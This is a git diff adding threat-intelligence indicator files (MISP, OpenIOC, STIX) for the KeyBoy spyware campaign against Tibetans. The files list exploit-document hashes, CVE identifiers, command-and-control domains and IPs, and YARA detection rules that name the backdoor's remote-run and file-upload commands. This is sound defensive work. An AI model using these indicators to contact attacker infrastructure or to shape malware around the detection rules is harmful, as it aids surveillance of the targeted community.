"distribution": "5", + "timestamp": "1479720268", + "comment": "Doc exploiting CVE-2012-0158 - Xchecked via VT: 8846d109b457a2ee44ddbf54d1cf7944", + "sharing_group_id": "0", + "deleted": false, + "value": "ba442907f3218c8664bbecb47f915c4469340219e0f05af8f2d108d72659ff0f", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591530", + "type": "sha256", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5832bd4d-c198-40bf-83ca-4c7002de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720269", + "comment": "Malicious doc with CVE-2014-4114 vulnerability - Xchecked via VT: 05b5cf94f07fee666eb086c91182ad25", + "sharing_group_id": "0", + "deleted": false, + "value": "442e5d3d46330e814b4fdc5640b06732de69a08a574d92cd9a0df5eea62d88ed", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591533", + "type": "sha256", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5832bd4f-f9d0-48f9-a3dc-4f2902de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720271", + "comment": "Other similar doc - Xchecked via VT: beadf21b923600554b0ce54df42e78f5", + "sharing_group_id": "0", + "deleted": false, + "value": "b1d1b8fa9c104309fe27b3405d3572ac44d8401efba4868f743d45ed797d444b", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591511", + "type": "vulnerability", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd9ad-23d0-45dd-9bee-6ff2d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399853", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "CVE-2012-0158", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591512", + "type": "vulnerability", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd9ad-a8e4-4cd1-b839-6ff2d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399853", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "CVE-2014-4114", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591513", + "type": "vulnerability", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd9ad-8e60-429f-b92c-6ff2d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399853", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "CVE-2015-1641", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591514", + "type": "yara", + "category": "Payload delivery", + "to_ids": true, + "uuid": "582dd9be-541c-40c0-875a-700dd56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399870", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "rule CVE_2012_0158_KeyBoy {\r\nmeta:\r\nauthor = \"Etienne Maynier \"\r\ndescription = \"CVE-2012-0158 variant\"\r\nfile = \"8307e444cad98b1b59568ad2eba5f201\"\r\n\r\nstrings:\r\n$a = \"d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff09000600000000000000000000000100000001\" nocase \/\/ OLE header\r\n$b = \"ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\" nocase \/\/ junk data\r\n$c = \/5(\\{\\\\b0\\}|)[ ]*2006F00(\\{\\\\b0\\}|)[ ]*6F007(\\{\\\\b0\\}|)[ ]*400200045(\\{\\\\b0\\}|)[ ]*006(\\{\\\\b0\\}|)[ ]*E007(\\{\\\\b0\\}|)[ ]*400720079\/ nocase\r\n$d = \"MSComctlLib.ListViewCtrl.2\"\r\n$e = \"ac38c874503c307405347aaaebf2ac2c31ebf6e8e3\" nocase \/\/decoding shellcode\r\n\r\ncondition:\r\nall of them\r\n}", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591515", + "type": "yara", + "category": "Payload delivery", + "to_ids": true, + "uuid": "582dd9cd-5bf4-40a1-9f79-700ed56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399885", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "rule keyboy_exploit_doc_meta{\r\nmeta:\r\nauthor = \"Matt Brooks, @cmatthewbrooks\"\r\ndesc = \"Matches the meta associated with these exploit docs\"\r\ndate = \"2016-09-30\"\r\n\r\nstrings:\r\n$role = \"{\\\\author Master}{\\\\operator Master}\"\r\n$creatim = \"{\\\\creatim\\\\yr2015\\\\mo10\\\\dy16\\\\hr11\\\\min37}\"\r\n$revtim = \"{\\\\revtim\\\\yr2015\\\\mo10\\\\dy16\\\\hr13\\\\min54}\"\r\n\r\ncondition:\r\nuint32be(0) == 0x7B5C7274 and\r\nfilesize < 1MB and\r\nall of them\r\n}", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591516", + "type": "text", + "category": "Payload type", + "to_ids": false, + "uuid": "582dd9d6-8564-46ea-9b4e-700ed56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399894", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "KeyBoy", + "SharingGroup": [], + "ShadowAttribute": [] + } + ], + "ShadowAttribute": [], + "RelatedEvent": [ + { + "Event": { + "id": "2470", + "date": "2015-11-05", + "threat_level_id": "4", + "info": "OSINT Expansion on Systematic cyber attacks against Israeli and Palestinian targets going on for a year by Norman", + "published": true, + "uuid": "563b3ea6-b26c-401f-a68b-4d84950d210b", + "analysis": "2", + "timestamp": "1475770667", + "distribution": "3", + "org_id": "26", + "orgc_id": "26" + }, + "Org": { + "id": "26", + "name": "CthulhuSPRL.be", + "uuid": "55f6ea5f-fd34-43b8-ac1d-40cb950d210f" + }, + "Orgc": { + "id": "26", + "name": "CthulhuSPRL.be", + "uuid": "55f6ea5f-fd34-43b8-ac1d-40cb950d210f" + } + }, + { + "Event": { + "id": "837", + "date": "2015-01-26", + "threat_level_id": "2", + "info": "OSINT I Know You Want Me - Unplugging PlugX from Takahiro Haruyama & Hiroshi Suzuki Black Hat Asia 2014 presentation", + "published": true, + "uuid": "54c60f43-b084-453a-a162-4e08950d210b", + "analysis": "2", + "timestamp": "1422356942", + "distribution": "3", + "org_id": "26", + "orgc_id": "26" + }, + "Org": { + "id": "26", + "name": "CthulhuSPRL.be", + "uuid": "55f6ea5f-fd34-43b8-ac1d-40cb950d210f" + }, + "Orgc": { + "id": "26", + "name": "CthulhuSPRL.be", + "uuid": "55f6ea5f-fd34-43b8-ac1d-40cb950d210f" + } + }, + { + "Event": { + "id": "694", + "date": "2014-11-20", + "threat_level_id": "4", + "info": "Import of CitizenLab public DB of malware indicators", + "published": true, + "uuid": "546e08ce-3134-4892-997b-73ff950d210b", + "analysis": "2", + "timestamp": "1470665751", + "distribution": "3", + "org_id": "26", + "orgc_id": "26" + }, + "Org": { + "id": "26", + "name": "CthulhuSPRL.be", + "uuid": "55f6ea5f-fd34-43b8-ac1d-40cb950d210f" + }, + "Orgc": { + "id": "26", + "name": "CthulhuSPRL.be", + "uuid": "55f6ea5f-fd34-43b8-ac1d-40cb950d210f" + } + }, + { + "Event": { + "id": "242", + "date": "2013-06-20", + "threat_level_id": "1", + "info": "OSINT data about KeyBoy - Rapid7 Analysis", + "published": true, + "uuid": "51c2d3d7-2b28-497a-903b-41d0ac1d4fa4", + "analysis": "0", + "timestamp": "1375437886", + "distribution": "0", + "org_id": "2", + "orgc_id": "172" + }, + "Org": { + "id": "2", + "name": "CIRCL", + "uuid": "55f6ea5e-2c60-40e5-964f-47a8950d210f" + }, + "Orgc": { + "id": "172", + "name": "NCIRC", + "uuid": "56c6d16d-b4ac-462c-b803-068cac1d4fa5" + } + }, + { + "Event": { + "id": "243", + "date": "2013-06-20", + "threat_level_id": "1", + "info": "OSINT data about KeyBoy - MalwareTracker analysis", + "published": true, + "uuid": "51c2d64a-4698-473b-a202-6511ac1d4fa4", + "analysis": "0", + "timestamp": "1375437886", + "distribution": "0", + "org_id": "2", + "orgc_id": "172" + }, + "Org": { + "id": "2", + "name": "CIRCL", + "uuid": "55f6ea5e-2c60-40e5-964f-47a8950d210f" + }, + "Orgc": { + "id": "172", + "name": "NCIRC", + "uuid": "56c6d16d-b4ac-462c-b803-068cac1d4fa5" + } + }, + { + "Event": { + "id": "244", + "date": "2013-06-20", + "threat_level_id": "1", + "info": "OSINT data about KeyBoy - Cisco analysis", + "published": true, + "uuid": "51c2d769-8cb8-4b62-a963-2d41ac1d4fa4", + "analysis": "0", + "timestamp": "1375437886", + "distribution": "0", + "org_id": "2", + "orgc_id": "172" + }, + "Org": { + "id": "2", + "name": "CIRCL", + "uuid": "55f6ea5e-2c60-40e5-964f-47a8950d210f" + }, + "Orgc": { + "id": "172", + "name": "NCIRC", + "uuid": "56c6d16d-b4ac-462c-b803-068cac1d4fa5" + } + }, + { + "Event": { + "id": "245", + "date": "2013-06-20", + "threat_level_id": "1", + "info": "OSINT data about KeyBoy - Joe Sandbox Report", + "published": true, + "uuid": "51c2dc62-f788-4ac1-a780-476eac1d4fa4", + "analysis": "0", + "timestamp": "1375437886", + "distribution": "0", + "org_id": "2", + "orgc_id": "172" + }, + "Org": { + "id": "2", + "name": "CIRCL", + "uuid": "55f6ea5e-2c60-40e5-964f-47a8950d210f" + }, + "Orgc": { + "id": "172", + "name": "NCIRC", + "uuid": "56c6d16d-b4ac-462c-b803-068cac1d4fa5" + } + }, + { + "Event": { + "id": "247", + "date": "2013-06-07", + "threat_level_id": "2", + "info": "OSINT data related to KeyBoy (aka Tomato Garden) - MalwareTracker.com analysis", + "published": true, + "uuid": "51c30b22-0d84-41c8-97f8-2d40ac1d4fa4", + "analysis": "0", + "timestamp": "1375437886", + "distribution": "0", + "org_id": "2", + "orgc_id": "172" + }, + "Org": { + "id": "2", + "name": "CIRCL", + "uuid": "55f6ea5e-2c60-40e5-964f-47a8950d210f" + }, + "Orgc": { + "id": "172", + "name": "NCIRC", + "uuid": "56c6d16d-b4ac-462c-b803-068cac1d4fa5" + } + } + ], + "Tag": [ + { + "id": "29", + "name": "circl:incident-classification=\"phishing\"", + "colour": "#387000", + "exportable": true + }, + { + "id": "2", + "name": "tlp:white", + "colour": "#ffffff", + "exportable": true + }, + { + "id": "101", + "name": "osint:source-type=\"blog-post\"", + "colour": "#00253f", + "exportable": true + } + ] + } +}]} \ No newline at end of file diff --git a/data/ioc/spyware/citizen_lab/201611_KeyBoy/openioc.ioc b/data/ioc/spyware/citizen_lab/201611_KeyBoy/openioc.ioc new file mode 100644 index 0000000..83cd28f --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201611_KeyBoy/openioc.ioc @@ -0,0 +1,109 @@ + + + Event #17 + It’s Parliamentary: KeyBoy and the targeting of the Tibetan Community + + citizenlab + 2016-11-07T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201611_KeyBoy/stix.xml b/data/ioc/spyware/citizen_lab/201611_KeyBoy/stix.xml new file mode 100644 index 0000000..7633a8d --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201611_KeyBoy/stix.xml @@ -0,0 +1,1681 @@ + + + Export from MISP + Threat Report + + + + + + It’s Parliamentary: KeyBoy and the targeting of the Tibetan Community (MISP Event #17) + Threat Report + + + + Payload delivery: CVE-2012-0158 (MISP Attribute #811) + 8307e444cad98b1b59568ad2eba5f201 + + + + 8307e444cad98b1b59568ad2eba5f201 + + CVE-2012-0158 + + + + + + + Payload delivery: CVE-2014-4114 (MISP Attribute #832) + + + + Vulnerability CVE-2014-4114 + + CVE-2014-4114 + + + + + + + Payload delivery: CVE-2015-1641 (MISP Attribute #1374) + + + + Vulnerability CVE-2015-1641 + + CVE-2015-1641 + + + + + + + Payload type: KeyBoy (MISP Attribute #809) + + + + KeyBoy + + + + + + + + It’s Parliamentary: KeyBoy and the targeting of the Tibetan Community + 17 + + 2016-11-07T00:00:00+00:00 + 2016-11-16T15:02:57+00:00 + + Open + + + Artifacts dropped + + Artifacts dropped: 8f08609e4e0b3d26814b3073a42df415 (MISP Attribute #813) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 8f08609e4e0b3d26814b3073a42df415 (MISP Attribute #813) + + + + + + + MD5 + 8f08609e4e0b3d26814b3073a42df415 + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 495adb1b9777002ecfe22aaf52fcee93 (MISP Attribute #814) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 495adb1b9777002ecfe22aaf52fcee93 (MISP Attribute #814) + + + + + + + MD5 + 495adb1b9777002ecfe22aaf52fcee93 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 0c7e55509e0b6d4277b3facf864af018 (MISP Attribute #822) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 0c7e55509e0b6d4277b3facf864af018 (MISP Attribute #822) + + + + + + + MD5 + 0c7e55509e0b6d4277b3facf864af018 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 98977426d544bd145979f65f0322ae30 (MISP Attribute #827) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 98977426d544bd145979f65f0322ae30 (MISP Attribute #827) + + + + + + + MD5 + 98977426d544bd145979f65f0322ae30 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: c5b5f01ba24d6c02636388809f44472e (MISP Attribute #833) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: c5b5f01ba24d6c02636388809f44472e (MISP Attribute #833) + + + + + + + MD5 + c5b5f01ba24d6c02636388809f44472e + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 371bc132499f455f06fa80696db0df27 (MISP Attribute #834) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 371bc132499f455f06fa80696db0df27 (MISP Attribute #834) + + + + + + + MD5 + 371bc132499f455f06fa80696db0df27 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 087bffa8a570079948310dc9731c5709 (MISP Attribute #1372) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 087bffa8a570079948310dc9731c5709 (MISP Attribute #1372) + + + + + + + MD5 + 087bffa8a570079948310dc9731c5709 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ver (MISP Attribute #1365) + Malware Artifacts + Host Characteristics + Artifacts dropped: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ver (MISP Attribute #1365) + + + + + Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ver + HKEY_CURRENT_USER + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d (MISP Attribute #1368) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d (MISP Attribute #1368) + + + + + + + SHA256 + 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04 (MISP Attribute #1369) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04 (MISP Attribute #1369) + + + + + + + SHA256 + 9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88 (MISP Attribute #1373) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88 (MISP Attribute #1373) + + + + + + + SHA256 + 5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tibetvoices.com (MISP Attribute #817) + Malware Artifacts + Domain Watchlist + Network activity: tibetvoices.com (MISP Attribute #817) + + + + + tibetvoices.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.about.jkub.com (MISP Attribute #823) + Malware Artifacts + Domain Watchlist + Network activity: www.about.jkub.com (MISP Attribute #823) + + + + + www.about.jkub.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.eleven.mypop3.org (MISP Attribute #824) + Malware Artifacts + Domain Watchlist + Network activity: www.eleven.mypop3.org (MISP Attribute #824) + + + + + www.eleven.mypop3.org + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.backus.myftp.name (MISP Attribute #825) + Malware Artifacts + Domain Watchlist + Network activity: www.backus.myftp.name (MISP Attribute #825) + + + + + www.backus.myftp.name + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 45.125.12.147 (MISP Attribute #815) + Malware Artifacts + IP Watchlist + Network activity: 45.125.12.147 (MISP Attribute #815) + + + + + 45.125.12.147 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 103.40.102.233 (MISP Attribute #816) + Malware Artifacts + IP Watchlist + Network activity: 103.40.102.233 (MISP Attribute #816) + + + + + 103.40.102.233 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 116.193.154.69 (MISP Attribute #820) + Malware Artifacts + IP Watchlist + Network activity: 116.193.154.69 (MISP Attribute #820) + + + + + 116.193.154.69 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 103.242.134.243 (MISP Attribute #828) + Malware Artifacts + IP Watchlist + Network activity: 103.242.134.243 (MISP Attribute #828) + + + + + 103.242.134.243 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 45.32.47.148 (MISP Attribute #829) + Malware Artifacts + IP Watchlist + Network activity: 45.32.47.148 (MISP Attribute #829) + + + + + 45.32.47.148 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 157.7.84.81 (MISP Attribute #830) + Malware Artifacts + IP Watchlist + Network activity: 157.7.84.81 (MISP Attribute #830) + + + + + 157.7.84.81 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 192.241.149.43 (MISP Attribute #831) + Malware Artifacts + IP Watchlist + Network activity: 192.241.149.43 (MISP Attribute #831) + + + + + 192.241.149.43 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 112.10.117.47 (MISP Attribute #1880) + Malware Artifacts + IP Watchlist + Network activity: 112.10.117.47 (MISP Attribute #1880) + + + + + 112.10.117.47 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: tibetanparliarnent@yahoo.com (MISP Attribute #1366) + Malware Artifacts + Malicious E-mail + Payload delivery: tibetanparliarnent@yahoo.com (MISP Attribute #1366) + + + + + + + tibetanparliarnent@yahoo.com + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 8307e444cad98b1b59568ad2eba5f201 (MISP Attribute #810) + Malware Artifacts + File Hash Watchlist + Payload delivery: 8307e444cad98b1b59568ad2eba5f201 (MISP Attribute #810) + + + + + + + MD5 + 8307e444cad98b1b59568ad2eba5f201 + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 0b4d45db323f68b465ae052d3a872068 (MISP Attribute #812) + Malware Artifacts + File Hash Watchlist + Payload delivery: 0b4d45db323f68b465ae052d3a872068 (MISP Attribute #812) + + + + + + + MD5 + 0b4d45db323f68b465ae052d3a872068 + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: beadf21b923600554b0ce54df42e78f5 (MISP Attribute #818) + Malware Artifacts + File Hash Watchlist + Payload delivery: beadf21b923600554b0ce54df42e78f5 (MISP Attribute #818) + + + + + + + MD5 + beadf21b923600554b0ce54df42e78f5 + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 69df3d3df4d99bc6045d073d89c68697 (MISP Attribute #819) + Malware Artifacts + File Hash Watchlist + Payload delivery: 69df3d3df4d99bc6045d073d89c68697 (MISP Attribute #819) + + + + + + + MD5 + 69df3d3df4d99bc6045d073d89c68697 + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 05b5cf94f07fee666eb086c91182ad25 (MISP Attribute #821) + Malware Artifacts + File Hash Watchlist + Payload delivery: 05b5cf94f07fee666eb086c91182ad25 (MISP Attribute #821) + + + + + + + MD5 + 05b5cf94f07fee666eb086c91182ad25 + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 8846d109b457a2ee44ddbf54d1cf7944 (MISP Attribute #826) + Malware Artifacts + File Hash Watchlist + Payload delivery: 8846d109b457a2ee44ddbf54d1cf7944 (MISP Attribute #826) + + + + + + + MD5 + 8846d109b457a2ee44ddbf54d1cf7944 + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 913b82ff8f090670fc6387e3a7bea12d (MISP Attribute #1879) + Malware Artifacts + File Hash Watchlist + Payload delivery: 913b82ff8f090670fc6387e3a7bea12d (MISP Attribute #1879) + + + + + + + MD5 + 913b82ff8f090670fc6387e3a7bea12d + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 23d284245e53ae4fe05c517d807ffccf (MISP Attribute #1370) + Malware Artifacts + File Hash Watchlist + Payload delivery: 23d284245e53ae4fe05c517d807ffccf (MISP Attribute #1370) + + + + + + + MD5 + 23d284245e53ae4fe05c517d807ffccf + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49 (MISP Attribute #1367) + Malware Artifacts + File Hash Watchlist + Payload delivery: 5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49 (MISP Attribute #1367) + + + + + + + SHA256 + 5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf (MISP Attribute #1371) + Malware Artifacts + File Hash Watchlist + Payload delivery: 542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf (MISP Attribute #1371) + + + + + + + SHA256 + 542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Payload delivery + + + + Payload delivery + + + + Payload delivery + + + + Payload type + + + + + + Event Threat Level: Medium + + + MISP Tag: TLP:AMBER + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: NOTPUBLISHED + + + MISP Tag: DETECT + + + MISP Tag: TARGET:TIBETAN + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: import "pe" +rule new_keyboy_export +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the new 2016 sample's export" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + //The malware family seems to share many exports + //but this is the new kid on the block. + pe.exports("cfsUpdate") +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule new_keyboy_header_codes +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the 2016 sample's header codes" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + $s1 = "*l*" wide fullword + $s2 = "*a*" wide fullword + $s3 = "*s*" wide fullword + $s4 = "*d*" wide fullword + $s5 = "*f*" wide fullword + $s6 = "*g*" wide fullword + $s7 = "*h*" wide fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + filesize < 200KB and + all of them +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule keyboy_commands +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the 2016 sample's sent and received commands" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + $s1 = "Update" wide fullword + $s2 = "UpdateAndRun" wide fullword + $s3 = "Refresh" wide fullword + $s4 = "OnLine" wide fullword + $s5 = "Disconnect" wide fullword + $s6 = "Pw_Error" wide fullword + $s7 = "Pw_OK" wide fullword + $s8 = "Sysinfo" wide fullword + $s9 = "Download" wide fullword + $s10 = "UploadFileOk" wide fullword + $s11 = "RemoteRun" wide fullword + $s12 = "FileManager" wide fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + filesize < 200KB and + 6 of them +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule keyboy_errors +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the sample's shell error2 log statements" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + //These strings are in ASCII pre-2015 and UNICODE in 2016 + $error = "Error2" ascii wide + //2016 specific: + $s1 = "Can't find [%s]!Check the file name and try again!" ascii wide + $s2 = "Open [%s] error! %d" ascii wide + $s3 = "The Size of [%s] is zero!" ascii wide + $s4 = "CreateThread DownloadFile[%s] Error!" ascii wide + $s5 = "UploadFile [%s] Error:Connect Server Failed!" ascii wide + $s6 = "Receive [%s] Error(Recved[%d] != Send[%d])!" ascii wide + $s7 = "Receive [%s] ok! Use %2.2f seconds, Average speed %2.2f k/s" ascii wide + $s8 = "CreateThread UploadFile[%s] Error!" ascii wide + //Pre-2016: + $s9 = "Ready Download [%s] ok!" ascii wide + $s10 = "Get ControlInfo from FileClient error!" ascii wide + $s11 = "FileClient has a error!" ascii wide + $s12 = "VirtualAlloc SendBuff Error(%d)" ascii wide + $s13 = "ReadFile [%s] Error(%d)..." ascii wide + $s14 = "ReadFile [%s] Data[Readed(%d) != FileSize(%d)] Error..." ascii wide + $s15 = "CreateThread DownloadFile[%s] Error!" ascii wide + $s16 = "RecvData MyRecv_Info Size Error!" ascii wide + $s17 = "RecvData MyRecv_Info Tag Error!" ascii wide + $s18 = "SendData szControlInfo_1 Error!" ascii wide + $s19 = "SendData 